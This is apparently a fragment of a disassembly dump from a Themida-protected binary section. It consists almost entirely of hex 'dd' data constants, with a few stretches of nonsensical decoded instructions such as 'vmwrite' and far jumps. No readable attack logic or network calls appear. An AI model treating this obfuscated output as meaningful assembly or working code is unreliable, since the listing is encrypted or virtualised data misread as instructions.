0C4BF51C7h, 0C412D831h, 2090405Dh, 0D8D049FAh dd 0A9513118h, 0A700BC14h, 0FE37906Bh, 17E0BF36h, 102111A3h dd 0C453DC40h, 7B29A405h, 0AF9400FBh, 71CBCD9Fh, 1A3C2C99h dd 6310E27Fh, 8BD4D888h, 62073913h, 778028BCh, 923110FAh dd 0EA4B29D6h, 1EA02858h, 0A4354856h, 38DEE044h, 344CC818h dd 0BEFAE406h, 0E63DB0BDh, 0B4A270BBh, 0A0295CB0h, 3198C860h dd 7391D799h, 0A1AE0237h, 25C99F6Dh, 842BF742h, 0E1F3E084h dd 38CFF118h, 2F099EF8h, 7C2418F7h, 5FA80095h, 0C20A7B4h dd 34E194C0h, 6F043D0Ch, 33ECB35h, 9D05FCC1h, 0DB2AB700h dd 5960F0F0h, 0DDFAE710h, 0AAB0C05Ch, 0F31CA357h, 1337A800h dd 0B961BDA1h, 32062429h, 9EC26E4h, 1D82C785h, 0E869E06Fh dd 20190851h, 824C93F4h, 9EED0674h, 10E15C6Dh, 443755F6h dd 4CB08B90h, 529A60Ch, 2716004h, 3493AD6Eh, 0BC8058B4h dd 0BCCDFAECh, 4C6230D6h, 427CC4E7h, 0F8E300AAh, 2777A994h dd 220700EBh, 0D52598F1h, 0A20CA805h, 683B9A29h, 0B2423CA4h dd 50E58D18h, 4A04D7CCh, 0FDB75FD5h, 0A97DBCC0h, 1CDF00CDh dd 6B0B5453h, 41064384h, 6E24FB65h, 0F0D70090h, 86AA9B78h dd 1930FAF3h, 0D44ED977h, 764E98A2h, 0B878A3E3h, 0A054EB19h dd 5E03198h, 0F49FADEEh, 0BAA404BDh, 536CF462h, 9A8156Fh dd 0CAE812B3h, 6E94C23Ch, 6FFA1820h, 1C516C18h, 0C8B348h dd 0E830BC8Ch, 386095F0h, 4CFCF3C8h, 0E3405944h, 0A2C8C458h dd 195102B7h, 0A0E481C0h, 0A7EC6CDEh, 0D6971E4Ah, 1CA8263Dh dd 0C1FA0F1Ch, 548377A9h, 0D98071F1h, 5200C54Bh, 0ACB89740h dd 248778E1h, 5D03FB2h, 8E71C36Ch, 0AA3C76ECh, 8294C8E1h dd 529B0929h, 20D492C0h, 8490930Ch, 81085101h, 360293Ah dd 0C8AE8C42h, 40EC181Ch, 0C762C5EFh, 0BB71610h, 80A2EE06h dd 293FD300h, 642F1B37h, 91E80577h, 1F67A019h, 0CD1D9FAFh dd 74580AC9h, 0EB7654C4h, 7CFADF2Eh, 72993950h, 971425EEh dd 7C50C492h, 36D52918h, 81040F48h, 0D12868ACh, 73E00BE4h dd 7D2C4176h, 0AC4100CEh, 8C9C03B7h, 0CC3315h, 0ECBAC8E1h dd 3DEC174h, 61F8D91Dh, 20FEDFFBh, 20BEA496h, 0E54845Ch dd 63070137h, 9E9CDC3h, 0DDAAA290h, 2FD3A027h, 0A4EB05FCh dd 6C0028B3h, 0F11E94FFh, 0C60B9686h, 0A0A2F63Fh, 65AC683Ch dd 4EFA16E9h, 1E704267h, 8A03148Fh, 0CA36C020h, 0AA2D005Bh dd 70D1979Eh, 0E53CC3B7h, 19F10F54h, 1D590071h, 64F9E355h dd 0C3D210F5h, 11A3B3EFh, 0D1936C0h, 458E19C0h, 0E446F9D3h dd 5D10CFB6h, 1D90AE02h, 0D73E1880h, 0D03117EDh, 28DE10B2h dd 9015B7C4h, 70F02EB8h, 0E79803FBh, 5AC727D1h, 995B1808h dd 0E032EEDh, 1179A388h, 0D8E084E1h, 14EEC9h, 985351E0h dd 7006CF5Dh, 28AD6706h, 611E1Ch, 8E6CC39Dh, 0A84BBA63h dd 60FF3628h, 0D37D8800h, 62B9507Ah, 6FD83C9Ah, 55055C80h dd 180D1734h, 362ABB00h, 0D702B60Eh, 4CE518AAh, 0AF284113h dd 85E8C96Fh, 2C1F1736h, 18E63E0Ch, 0DF3C0297h, 0D8B198EDh dd 0F71088ACh, 76740DB0h, 0D2BFB500h, 90DB982Fh, 88D01D36h dd 0F9F8C38Dh, 10B90A5Ch, 57C04192h, 0DF7C20FDh, 1F397F05h dd 0E00CF7DAh, 289EB059h, 1945E48h, 0C9FD84Ah, 0F03F10A0h dd 18CE3093h, 0A0752D52h, 0D79B8C01h, 0F90A90BCh, 0AE0F77Fh dd 64F43490h, 0EC223416h, 0DF9E1032h, 0AB582461h, 4206D8Eh dd 30BE605Ah, 51EAA8DAh, 18384C50h, 38C1E5B0h, 925E49E6h dd 190EBCCh, 0D5E19E10h dd 0E322808Fh, 320DCD80h, 86300E7Ch, 28A6E0E5h, 0B9CA60FBh dd 51F28971h, 0AF60A760h, 0A07E901h, 24528A70h, 1B180608h dd 8871707Bh, 10EC1506h, 0FA862AAh, 6050286Eh, 4AA43620h dd 2E015E2Fh, 5DEE292Bh, 9E0F589h, 0FF1C036Fh, 2C8B2434h dd 4E95098h, 51E03A70h, 350068EEh, 58624442h, 7637625h dd 0E0C11A6Dh, 8D4D002h, 89790911h, 0CB015800h, 83240C8Bh dd 50041CC4h, 0F4AF7B8h, 0BFDEC3CFh, 48C0E90Ch, 81F42914h dd 40D5EB07h, 75D314DAh, 501A7B96h, 0C3871DEDh, 1C895C98h dd 0DDBE56A0h, 9140C00h, 3AC4CE81h, 570D011Ah, 0FA48CDBFh dd 1C7F024h, 0BBE93FC3h, 0F70A1D09h, 4DB3CCDEh, 8128580Eh dd 350E32C4h, 9D3E311Fh, 751DB243h, 5C40D02Ch, 0A83260C8h dd 0FFEE92E9h, 1BA305E2h, 82157BD1h, 81E3890Ah, 0D8FECh dd 0BDBA2414h, 0C267642h, 7E3BE955h, 0EB3C801Ch, 5EAC191Bh dd 9CF85B10h, 0C20CD102h, 8F284D42h, 525C1D9Ah, 693A81BAh dd 40EA8136h, 0A7B95170h, 41D82606h, 128D9F7h, 1D9B02B5h dd 194D6E9h, 0D9DFC15Ch, 0BE54F268h, 41FDA750h, 53891C03h dd 43B7D4D0h, 5EF318E1h, 8362D3CAh, 2507EBEh, 0E5FCC810h dd 0CDE14F54h, 0C55F3C0Eh, 8F5C00Ah, 3B076846h, 0A4D0BAE9h dd 1E38A45Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax lds ecx, [edx-37C2577Dh] sub [edx], ch mov ecx, 30249843h lock mov word ptr [edi-3Bh], fs jo short loc_4E5B0B cmp eax, 95995DE4h ja short loc_4E5AEC dec ebx ; --------------------------------------------------------------------------- db 8Fh dd 417DE898h, 59CB3198h, 0C0303CFCh, 1C3FBE1Eh, 9671EF2h ; --------------------------------------------------------------------------- loc_4E5AEC: ; CODE XREF: Themida_:004E5AD4j rcl byte ptr [edx-1Eh], cl sub cl, [eax+edx*4] mov byte ptr [ebx-26h], 0C9h mov al, ds:51582066h mov ecx, esp adc dword ptr [eax-3Fh], 55285642h mov ebp, 11685C7Ch inc ebp stosb loc_4E5B0B: ; CODE XREF: Themida_:004E5ACDj mov ecx, 0E9E88E30h vmwrite eax, [esi+31h] inc edi jmp near ptr 2FE4C7A8h ; --------------------------------------------------------------------------- dw 1E88h dd 8C29D644h, 5A24E4C8h, 0BDC28129h, 602EBB94h, 854F1118h dd 0DA012856h, 8B0880FDh, 20D8921Ch, 2D3F3DE6h, 0D20A281Dh dd 0EC8E2E22h, 21854067h, 0E29CA0CFh, 7FFD515h, 0F0E7630h dd 49D9EACEh, 0A6E32FCAh, 0A93A81F6h, 86575911h, 433D1C2h dd 0B97B9D5Dh, 0A9E6BD26h, 0CB5E4C6h, 137F780Ah, 532B6880h dd 395E479Ch, 56B6F029h, 11E5970h, 7F0A5AD1h, 318691D7h dd 123A8BF0h, 2E28952h, 9576D0F8h, 7584A640h, 6FF38780h dd 0E1450646h, 2DB9461Dh, 3C0A7B31h, 915F5424h, 12489A08h dd 333B625Bh, 0B3DBD888h, 9AC78B0Dh, 54558689h, 48A67C5Dh dd 505FFD07h, 15106851h, 90594DFEh, 0F38F0217h, 0C8890F11h dd 0D1588B6Ch, 8B904E6h, 63C07060h, 3B3B4EF1h, 0C9036907h dd 4DC35E85h, 0D2AEE9E2h, 0F27A487Dh, 445A660Eh, 0A4C4D2F7h dd 787CF49h, 0E6705C05h, 7DA35FDFh, 0DDEE1341h, 0E9140252h dd 284B2FBCh, 7ADBEBB0h, 0CE02177Dh, 4EE8359h, 0C6AD8F87h dd 12910E4h, 40722BEDh, 44C50164h, 58080391h, 0DE7BA68h dd 5DAF245Bh, 123EE793h, 96548D1Ch, 7010A508h, 0CA292606h dd 2A66A508h, 6959F069h, 0A42FEDE7h, 5B0250E9h, 5C02D3BAh dd 0DB25C831h, 0EFB1C56Fh, 4105AA87h, 184CF01h, 0B8E4081Bh dd 4C14E902h, 0A4D9B330h, 0E33F833Ch, 0E73F64F9h, 3B51F360h dd 17C0310h, 8FB1E9D8h, 0F5202605h, 0E420148Bh, 0C41C580h dd 1EB35366h, 0DDE0DA0Eh, 0F2EBEDF8h, 50B52660h, 0F3483D92h dd 0CCEE495Fh, 1233D001h, 5A5B59h, 99685222h, 65498D74h dd 76E909BAh, 0D0E51084h, 0A4C8914Ch, 99472050h, 2454653Fh dd 68598657h, 0E9310506h, 0A92B290Dh, 854854F4h, 0F3B2EF7h dd 0F8053FA3h, 0F62D5Fh, 0D30514F6h, 531D681Eh, 0CFC3D0F7h dd 0E70A3845h, 632ED680h, 94C16801h, 72686173h, 303A6349h dd 65620EBBh, 705A26E9h, 76B4639Dh, 3553DED1h, 87B9201Ch dd 5E4FA3C4h, 24AD51Ah, 740D2580h, 81167AA3h, 203A5C3h dd 954093A2h, 0A71BB982h, 3A35681Ah, 0EBE9444Fh, 383E2D0Bh dd 0EF0C4DCFh, 1303B484h, 0C2AEAA10h, 0E2015AD5h, 19B28BA2h dd 16323453h, 0FC8C7148h, 6B20E941h, 7A316630h, 0E248133h dd 0D6E80F75h, 2D82989h, 140181Fh, 8008E3C1h, 2C292E2h dd 98DF892Eh, 31CF025Ch, 4F273373h, 62329F61h, 0C0CD3B63h dd 0A1A74ABFh, 4147E8F9h, 325C56A9h, 818D5088h, 2315980h dd 5D575EF7h, 65C1215Fh, 60CF2542h, 0D70DFD5h, 0DB8CACF1h dd 0FB1863h, 0C02FB06Ch, 0D8F602E0h, 4C8FE00h, 58C7289Bh dd 0F8ECCF2Ch, 1C8B083Dh, 7665E941h, 3F7E1424h, 5F1C9669h dd 0E7814047h, 76FF199Dh, 7C3FF090h, 2C70E309h, 53E9592Dh dd 100E6809h, 27E92418h, 0D108769h, 1F206C95h, 0FDD1419Bh dd 4B0BA496h, 6C1082CAh, 1DD6B800h, 2D051F8Ch, 7B1E5717h dd 0C0552412h, 715F24BDh, 0EC0D3DE2h, 3A2909FCh, 0BB004CDFh dd 38923722h, 3DEA0126h, 68287D20h, 16CB1B6Eh, 60EA92BDh dd 303BC2F3h, 503659F7h, 7702DEB8h, 0E8C1363Ah, 0E35E6106h dd 2C9C8EACh, 93150889h, 4BC1F29Fh, 0D331E46Ch, 0E8EF2E70h dd 6FF00908h, 8E88DF01h, 445B1E08h, 8A3C8BF8h, 3D6B16DAh dd 4C80D734h, 605011ABh, 6AEA5248h, 477D3B63h, 21BA8751h dd 0DC0BA60Ah, 4820E31Eh, 1E20B343h, 5B039B98h, 319A99E8h dd 0EB97EAF8h, 4964BE9Ch, 357C4B33h, 13ED0C6h, 271E14F0h dd 1F57EC51h, 1ABC7E99h, 0EA26DB55h, 52966611h, 0C33F86EAh dd 7F1D7C0Bh, 0FAEC2F8Fh, 0ED16D022h, 3E06B753h, 3B14DDA7h dd 0E2A4F729h, 0E46884A1h, 450C9167h, 904EA32Ch, 4E52660Eh dd 0C52E8EBAh, 0CC89D531h, 0BBFC53D5h, 7A4D5C15h, 31901820h dd 68A97B54h, 4401C826h, 0E5805A64h, 2E0DBEEAh, 0A47E16BFh dd 1275A67Ch, 908594C3h, 5A35F99Fh, 1C82548h, 0E5D7D20Ch dd 4680DA01h, 430466C2h, 0BE045639h, 64A76295h, 463054C7h dd 5C29F64Ch, 0C204B9F2h, 0D268D3E9h, 4E0C90h, 78B3279Bh dd 0E9E0A050h, 98F9507Dh, 16CF0168h, 56593742h, 75C1F557h dd 483258h, 504DC2F1h, 58D18776h, 0E9096F4Ah, 0EFAC7CA8h dd 4902826h, 646C052Eh, 2902096Fh, 5112F0h, 38065F8Bh dd 1CEF2C68h, 700EC026h, 46D52A47h, 9245200h, 18274A68h dd 4BECE9CBh, 0C3D7222Ah, 0A924C212h, 0B0596603h, 5D7F0B96h dd 6D0F1D09h, 4B08A81Ch, 52083458h, 0E9FE42D6h, 0EFC988CAh dd 25A2DDDFh, 58C3DCD4h, 76CB60C1h, 9DFB1BC4h, 958792D4h dd 0DD94C027h, 3BBE9690h, 6F60F53h, 708AF001h, 0D7B981D5h dd 0E90EB018h, 212825A1h, 0A296332h, 4D055DE8h, 458888A4h dd 285B0B66h, 0E5C06001h, 0AA557007h, 0E9DDF606h, 0F78475h dd 6C6B36C2h, 0F7E2D11Dh, 22ADA4Ch, 0F12363C5h, 0FFBF0089h dd 452CD87Ch, 1054531h, 2C895FFEh, 4AB05A46h, 83BB240Fh dd 37AD8D21h, 0E0C3C7DEh, 2317E9DAh, 0C0340A92h, 59B0B504h dd 77FF1D07h, 890F4B1Ch, 0E626D014h, 0C287E4D6h, 44771055h dd 273988BEh, 55863724h, 5F9D1036h, 0EB14624Ch, 9B10C419h dd 0D0011350h, 0D7605F04h, 92685301h, 102D667Fh, 5448631Fh dd 20692512h, 150DCB15h, 51DF3448h, 5A08010Eh, 0D230FC5Fh dd 0DD580392h, 6BB7577Fh, 0BC798AB4h, 0FD399CE8h, 0A794D998h dd 921FEF45h, 7A6239A4h, 15A0516Bh, 8A921A57h, 0C648D2h dd 125E6502h, 28B306BEh, 99E35250h, 0C7E96106h, 80FA0D5Eh dd 2A50E085h, 40584823h, 12D0740h, 72E1279Ah, 805E829h dd 0B3DB9A5Dh, 24322173h, 0EDBA000Eh, 0E912C537h, 0B89C34E5h dd 0C1288300h, 0D781051Bh, 29E47F3Eh, 26A7F9ADh, 510F3385h dd 0F316A0D4h, 4B201141h, 0BD5667E5h, 0D444D4C5h, 7C7CE6BDh dd 688005F6h, 1A33ED79h, 4093BD48h, 6638ACD0h, 0AEC1457Ch dd 3C7E1B12h, 48802D60h, 0B8C31340h, 4DF2EBFh, 81FB8121h dd 592570F3h, 8927227Bh, 0CCAA1B68h, 1F12ABC6h, 2EC3835Ah dd 60310F8h, 2B3F2D64h, 857130EBh, 0A23B20A7h, 0C10F5EE6h dd 0E54604EEh, 0F75E530Eh, 5619F385h, 0E9F11FC3h, 1A94521Ah dd 8901D6ADh, 294B8E74h, 3C59F9EEh, 0D3F70E42h, 5BF67953h dd 94BFF9BFh, 7582B148h, 0C0E3A90Ch, 0D018692h, 34E1767Ah dd 807FCA70h, 3AC6E1C0h, 48F369Dh, 0F6219FC7h, 48308D48h dd 7603C601h, 0C10CD062h, 0F6F400E6h, 3EF85E1Ch, 8693FE9h dd 56C5C844h, 9A0D5C68h, 1848369Eh, 180A72FDh, 0F7774A1Ch dd 0FE7616EDh, 0AD30323Ah, 6AF8DC81h, 7E562003h, 3A661400h dd 0EC3E5D05h, 0D0293E56h, 3B610751h, 8254E8E5h, 669D4480h dd 4AD3E459h, 0A32B0C14h, 0B22E6873h, 2C4E745h, 0F3FDE943h dd 0E4B14207h, 8893D9F6h, 0EA2D1205h, 1E4CC5Dh, 8F50FA0Fh dd 14146902h, 37BF31C5h, 85CC340Bh, 8E2C154h, 3F7820A0h dd 8510020Fh, 695E2626h, 435A51A8h, 40BD6B05h, 0D33270Ch dd 6FF32E80h, 2EB6076Ah, 0DC97F30h, 4E7BCD62h, 870C8319h dd 0D25C9A96h, 4468D34Eh, 9DB4CBEAh, 6813C5A8h, 9F6355B7h dd 0F7491D07h, 0E2DFCBD6h, 2D05E1ABh, 87189255h, 60E08209h dd 1122D1Eh, 7EBFDC7h, 3F9565FBh, 9581AAB4h, 0C037818Ch dd 43010587h, 1B67F65h, 0D32E35ECh, 7EEDCA16h, 68B17654h dd 17161B4Eh, 0CA02418Ah, 36CC6859h, 0FF241566h, 9A254574h dd 0F9010BAh, 0E9C816BEh dd 30344531h, 0C1C584FEh, 8724ECEDh, 5A2CF859h, 8FB551C0h dd 4CE070B6h, 301010EEh, 3C894C8Ah, 0FCB0180Ah, 1F02B9E8h dd 0C6E1370h, 0EB9F4A52h, 0B745D48h, 82A75AE5h, 68B3315h dd 0B4EF9C31h, 3DC40D06h, 0CDFE9A47h, 0F586C520h, 8DE6CF6h dd 0A62CE914h, 5080BD73h, 14BC703h, 72D51C8h, 0BE49ED22h dd 0CDA0082Dh, 9F05D3EDh, 0DDF76519h, 52305710h, 0A429616Fh dd 25351BE9h, 0C8BBF7CCh, 1926958h, 23887F58h, 0B2F4C621h dd 507B20Ah, 6B7782Fh, 5A038255h, 862691F1h, 40D942h, 0CB296468h dd 0B4F65EFCh, 0F6967A68h, 0FFCF83C7h, 0FAF9395h, 44F93059h dd 1212CDBBh, 0C4524249h, 7D600D43h, 1CD5F827h, 2EF0C63Ch dd 13EF3175h, 337F0315h, 0C2582CF3h, 2ECFDCFh, 7DB640A8h dd 9A8BED59h, 2E60B2Eh, 12F93C90h, 0C3F4CB8h, 4E5258BAh dd 0FB01EAB0h, 0E9061A09h, 55936CAEh, 285D00E8h, 53112CD8h dd 0E940B709h, 33DDC172h, 0A231DF42h, 71E721E2h, 55590176h dd 33304A68h, 0D08122BCh, 4410E65Dh, 62030B43h, 689C3038h dd 35153877h, 0F6E951E1h, 0C9057830h, 540C4139h, 6674FEF9h dd 5488F851h, 40A7982Dh, 0EA01D122h, 840FD039h, 0A485CFF7h dd 4148D968h, 9BBBE28h, 2542BE9Ch, 0AE019832h, 67528235h dd 0BB83ED25h, 398CD9EEh, 47EF6F80h, 6408BB53h, 274A9558h dd 10220911h, 9966AE71h, 9CE5A0FBh, 0CCE9044Ah, 0CDBA004Eh dd 3EF37994h, 0D512D331h, 40225ED9h, 64CE67DBh, 5B4ADD89h dd 8305DF17h, 219287E9h, 0BE007157h, 0AE58EF24h, 0CCEA00CDh dd 291DC47Fh, 8E095F94h, 249B9A35h, 0BD80AFD5h, 0A12D584Bh dd 4A275F06h, 538CB811h, 91558947h, 48225D71h, 4017E916h dd 63FBB98Fh, 817B3F3Ah, 0BC1AE602h, 0C1CF29E0h, 33017447h dd 10D4231Ch, 0BE005944h, 67A161DDh, 5E00F789h, 0C15FFD21h dd 0FE5606E5h, 997D07FFh, 0F5F52941h, 0E9910431h, 0B5EDB0D2h dd 4504920Fh, 84538F28h, 83D3193Ch, 863292C2h, 0F581C388h dd 786EBF42h, 9590123h, 56E2D1C2h, 8990F050h, 11E90AB1h dd 3F780714h, 0B21D354Bh, 0F2E9826Fh, 30717143h, 9D615F07h dd 5824C37Fh, 2D53B9C8h, 22985C0Dh, 0F6910966h, 61353E1Ah dd 0C2416CC6h, 30C54B8Ch, 108044E1h, 28BF61F4h, 42834C01h dd 28680C28h, 48C64B1Ch, 0ADB95102h, 8901C61Eh, 609C520h dd 87C7FBE9h, 0F94027B0h, 35723968h, 0C3A3005Fh, 26A975A4h dd 0E1E9430Bh, 0E7EF27D5h, 13DED473h, 45B540Eh, 0B482DAF7h dd 33410AA4h, 277FF86Dh, 0F6982809h, 4E9247D7h, 5A5EF001h dd 8F53F801h, 0B18B9892h, 0FB2E3E9h, 0EE88D068h, 398F6816h dd 0F1A7E137h, 1874CC0h, 0AD5A5859h, 1D59135h, 2810C6A4h dd 7CCAD81Bh, 1F5C37FEh, 10720AFh, 2F636CC3h, 2C8FE9h dd 94545368h, 71E95046h, 0BF31614Eh, 0A1055016h, 0A544DAECh dd 1C125843h, 6B0FE441h, 3440FAB0h, 69095B8h, 580EB1C5h dd 0C2012A17h, 0A675A0E9h, 82F821A2h, 91B0E696h, 84EB1673h dd 2C85C1C7h, 27BF897Eh, 549B991Dh, 84644CFEh, 27A99C06h dd 0E390D39Ah, 54822603h, 0D9014259h, 720262E2h, 0A5D026E9h dd 0D019564Bh, 0F1DEE686h, 6C183CF2h, 6C9FF45h, 30A3E4E7h dd 9E59CF3Ch, 380D4CE7h, 0AA118D08h, 4722D0C7h, 0CA0BB227h dd 12253C90h, 0DCAD2C89h, 6E4CBC1Ah, 0A30B3190h, 0A314869h dd 89A807E4h, 0A83FC504h, 17542958h, 63347916h, 4702E527h dd 0F67CC5BDh, 0C1E16255h, 58024365h, 6E9C5778h, 90485251h dd 1A60BB5Ah, 0FA8206D2h, 34CCC644h, 62615B22h, 1155101Ch dd 0C7173E47h, 0C1D9EDC4h, 0D8F4E921h, 8281811Fh, 0A32DEA14h dd 0AE7D87Ch, 0DAB273A9h, 0CC7912CDh, 472468BAh, 8269A317h dd 6BE0B0D2h, 444AC0FBh, 0C80105E4h, 0C0C58959h, 2549C275h dd 935763Eh, 2B41E9EAh, 0C5CF066Eh, 0C8213A3Ah, 2D5A2548h dd 8106143Eh, 2A52E9D2h, 0E04B7B0Bh, 75D3F785h, 68200C81h dd 0EB113937h, 0EA97DB04h, 428689CEh, 99E97F94h, 1EE420FFh dd 0D9585908h, 0E2548995h, 0CD351C60h, 0E59D6880h, 9451AC4Ch dd 4C056AFCh, 702DE9BBh, 52351032h, 0C8979654h, 5EE94206h dd 0B4B4D070h, 8B76D0D2h, 4C4DEA19h, 0B864A38h, 4A8051D6h dd 937408Bh, 214A78F8h, 37EF4E8Ch, 0E34E335Dh, 3417CAFFh dd 3942DBF7h, 6063377Bh, 247D21D7h, 0A6DA4D77h, 0AC46A674h dd 37721333h, 0C93FAC1h, 0F59B1E64h, 3698C454h, 7D353D4Fh dd 7111C3B2h, 0ABEF2534h, 350922BEh, 0B277D3F9h, 0B5830h dd 0DD05C74Ch, 29A11E07h, 120156FEh, 8C6856FFh, 0DA41F401h dd 879C8FAh, 98640609h, 107C2944h, 0C91DAF9h, 7291355Fh dd 740CDABBh, 31F5AC37h, 80F389CBh, 2EC6C360h, 140161D5h dd 8BA52FBh, 82D292Eh, 10272326h, 0B1185815h, 0C45C09E2h dd 8DF0AA44h, 0C1134192h, 76A606EBh, 226E2100h, 16C98165h dd 0A3012E28h, 6017ACECh, 4F0B3743h, 4A2B0612h, 62D30C0Ch dd 87247495h, 0E03D5F25h, 0EC90BD1Fh, 0CB312C6Bh, 0E9451543h dd 307C8191h, 5D8AEC75h, 5000F729h, 30081AB8h, 45B3507h dd 0E9494837h, 7911AC7Dh, 0C9D88925h, 9249CD5h, 97AE9A58h dd 5FF98D30h, 599605B1h, 0F1F77720h, 0BC1FE6E9h, 5B6960E5h dd 52B036DAh, 0CDC6ABD8h, 42601DA5h, 15ED816Bh, 4021527Eh dd 0F54620DCh, 0B881F24Eh, 3F7CC996h, 51D82883h, 0D750ECDAh dd 7C3C599Ch, 1C335DB4h, 813300ADh, 9743FAF1h, 0A57DF301h dd 4DF99A32h, 920946EDh, 6046FEA6h, 0CD68451Dh, 6216DE11h dd 8716C159h, 3227290Bh, 0CABF6246h, 618E325Eh, 45C466AFh dd 4C249877h, 0D9A40D79h, 15FA220Bh, 8099461Eh, 137A66EEh dd 0B15C5031h, 20CCA45Bh, 2082511Dh, 68507980h, 0E22C6107h dd 94034D11h, 0A80BFE4Bh, 0CF5EBEC5h, 0C1A7C7E2h, 57E9F2EFh dd 12C0DD8h, 0F70394D0h, 0E92A6F4Ah, 75277B15h, 62D2591Dh dd 90C2E720h, 3C221F52h, 81816D2Fh, 866AAD0Dh, 0F663780Ch dd 5BDD2FCAh, 0DDC4F409h, 57063E99h, 97C5F54h, 508330F1h dd 435FE2F0h, 5152D700h, 4A88D5B5h, 7C592CEAh, 0E743C341h dd 0C197019Ch, 0C8310CE8h, 73356850h, 0F277D775h, 6725DE58h dd 488E3108h, 10D79ED6h, 2F6809FAh, 91D79A41h, 0B5145F6Eh dd 0C55522F7h, 0FBB33216h, 434CF956h, 0E1BEE912h, 0EFA13031h dd 10882900h, 5FF80108h, 8DBB250h, 72652D64h, 4B07C214h dd 2119BA8Ah, 255A6BD0h, 18F89089h, 0D5BA9539h, 9F10CDD8h dd 3A512D68h, 0A0F27A70h, 3D271FB5h, 0EE025AAh, 9477F1B2h dd 0D4BD5500h, 2D7BAE4Ah, 5DDAE209h, 0F108174h, 0C3800E02h dd 50D301B8h, 0ECE0F4B4h, 0C4FE3371h, 0CCC1D10Ah, 80840AFh dd 5807E328h, 0E8B1515Ah, 9E28520Bh, 0F0E55BD5h, 0FE38B8D3h dd 80703F4Bh, 0C32D08E0h, 18E649h, 0A40F7835h, 6B054038h dd 79699C12h, 0C3B6008h, 0F6D4CE29h, 0A809A101h, 5EF1012Ah dd 0D4BE522Bh, 2DE72811h, 31B03895h, 13628221h, 9B08FCD1h dd 0B06809D8h, 0A8B93DD1h, 10CB9E3h, 0D86FCB38h, 14660254h dd 3A98E90Ah, 1BAFCC51h, 8E27FB9Dh, 19ED0E6Bh, 53166E7Eh dd 79ACA3F9h, 0A95BDF2Dh, 8F02C0A5h, 43461314h, 364A0955h dd 69CA0D51h, 41D95E44h, 0E9C59878h, 834CA02Ah, 2F04E83Ch dd 5BD78577h, 6512E99Ch, 0BF08F48h, 7C277060h, 950E655Fh dd 598ED8DFh dd 32059598h, 3171A23Ch, 25682380h, 0ACBC916Bh, 0F66313A7h dd 5F8A923Ah, 0EFC9E90Bh, 34FDDE4Eh, 0EB4A29EAh, 9E87D3C8h dd 0F664155h, 10E362BBh, 5C0CC079h, 91153CD3h, 7788FA40h dd 0A194AECh, 2F15DCCh, 3C0F0B2Dh, 0C65F3544h, 1A68BF42h dd 0F8EFE669h, 0E95613E2h, 0D6759263h, 0F628D2D6h, 9FEED48h dd 0A9552584h, 58167A05h, 2800D95Dh, 2D56B40Bh, 8430B67Bh dd 7CC93435h, 29432769h, 800E1C2h, 9CB6858h, 2C20A8ACh dd 0B231FD33h, 19DD8A40h, 0C486472h, 0F5AD8315h, 1693EEE0h dd 1D0C603Eh, 0B28103EBh, 0DD3FE964h, 0D09DE678h, 7ACA4E77h dd 1F10BD4Ch, 1B0526E8h, 1CC65D44h, 654D241Ch, 57C04070h dd 0FDFC4AF4h, 5008C0D0h, 0CBBEC839h, 90115862h, 9DBFA7D2h dd 4D56EF3Ah, 0C960E9A7h, 4FC766E2h, 26E4295Dh, 0BAE90B89h dd 2E21106h, 0E08D0511h, 95E4512Dh, 3A792303h, 1CCDEE9h dd 7BD8C57Fh, 0F1891E24h, 0E234705Dh, 89E77628h, 0AE21C13Eh dd 94081AB2h, 0FE680E62h, 0EF7CCC13h, 0D1C90A4Bh, 4DB9F42h dd 24048653h, 0D92D480Fh, 5B9DC51Bh, 0ADE561A8h, 0FF68169Eh dd 0F9E9F8C1h, 0CAAFDCEEh, 3B8B8A04h, 0CE124341h, 0D6913240h dd 48F7FDF1h, 531D72AFh, 0E6814519h, 18E154EDh, 4B31720h dd 0E93DD149h, 35C8F102h, 92562D77h, 53523040h, 26277368h dd 1215E1Ch, 0FE22BAEBh, 0BD157026h, 371E0407h, 1F3DA89h dd 0E93C1654h, 581183B7h, 678BBB2h, 392B0500h, 295904EAh dd 0EF2D0BC8h, 0B2826348h, 0C6206CB6h, 7B693C31h, 85CC4F33h dd 0CC54B893h, 40F354C1h, 0F72C80BEh, 66075F9Bh, 2CE0E730h dd 0B8F82848h, 5201013Eh, 0EEC07CB6h, 3068904h, 20F25080h dd 350558FCh, 4170377Dh, 0C5F88354h, 0D4D2D7E9h, 90A17059h dd 3FB67037h, 20905450h, 8D5724CCh, 0A9F30509h, 94E1029Dh dd 0F5DD2F0h, 0F652E2C7h, 0EB25AF69h, 1072A958h, 5A1641A0h dd 449A165Dh, 0B8CF89DDh, 0D0AD8F40h, 0E813523Bh, 478DD022h dd 33500350h, 3A16E1EAh, 0C4C57241h, 385673F3h, 38A6E938h dd 1642A54Ch, 44EB7571h, 0CD625D6Fh, 6616916Bh, 0E01BE927h dd 6C7BE11h, 310DB85Ah, 0E72DBACEh, 0B7164E18h, 135D9600h dd 81003DEBh, 1D1999CAh, 0A808E901h, 0D4EA89F8h, 602ED971h dd 267CAC07h, 79A70EA3h, 0ABD97FE9h, 6B3E4019h, 0B910B5E7h dd 7134808h, 53A91ED7h, 48E53983h, 0EF01F55Eh, 18785BD8h dd 0BA103E29h, 71B66408h, 80D2F600h, 6CF6BC2h, 0FB64A495h dd 0CA449899h, 0BF78D2DDh, 0E968B0A4h, 61E37B55h, 0D63C3D56h dd 444F3A8Ah, 134F2FE1h, 0B47B22A3h, 9376A98h, 0F9460622h dd 0E0195829h, 6E0F016h, 90055BADh, 0EDBD55EAh, 81F42F75h dd 6F27F506h, 90C3744h, 104538E5h, 0D2231540h, 0CAB79AB7h dd 5F24CEB6h, 31F545B5h, 399A9D66h, 673C84B2h, 7E76C140h dd 76900D2Ah, 0FF6132FAh, 6E522D69h, 783F68D0h, 0F88E9A78h dd 459227BBh, 2B61ECC0h, 251E20FBh, 4A623E7Eh, 40C5EA0Eh dd 910D5E3Bh, 7C340898h, 0FD168317h, 40F0C5B5h, 2CC7A430h dd 196D5755h, 6A5A82C1h, 0A8DAC04h, 2D4C0AA2h, 727FC905h dd 2EBE24Fh, 12FFA3Dh, 8457047Ch, 890B01CBh, 357FE9F7h dd 0E55B78C8h, 48628927h, 50EC481Ah, 55F80968h, 92DA2603h dd 376FFA37h, 0F800E48Bh, 27C34E99h, 94D085ABh, 912FE932h dd 84395C06h, 26FC02EBh, 5B4622F5h, 0E9C51032h, 24B897BCh dd 0E8B63BFBh, 0EC660269h, 3B70A13h, 731AF2F1h, 86BF6F8Fh dd 0C75FB65h, 0BAAF150Ch, 1E632493h, 0CC4DA74Ah, 0AC62FD7Ch dd 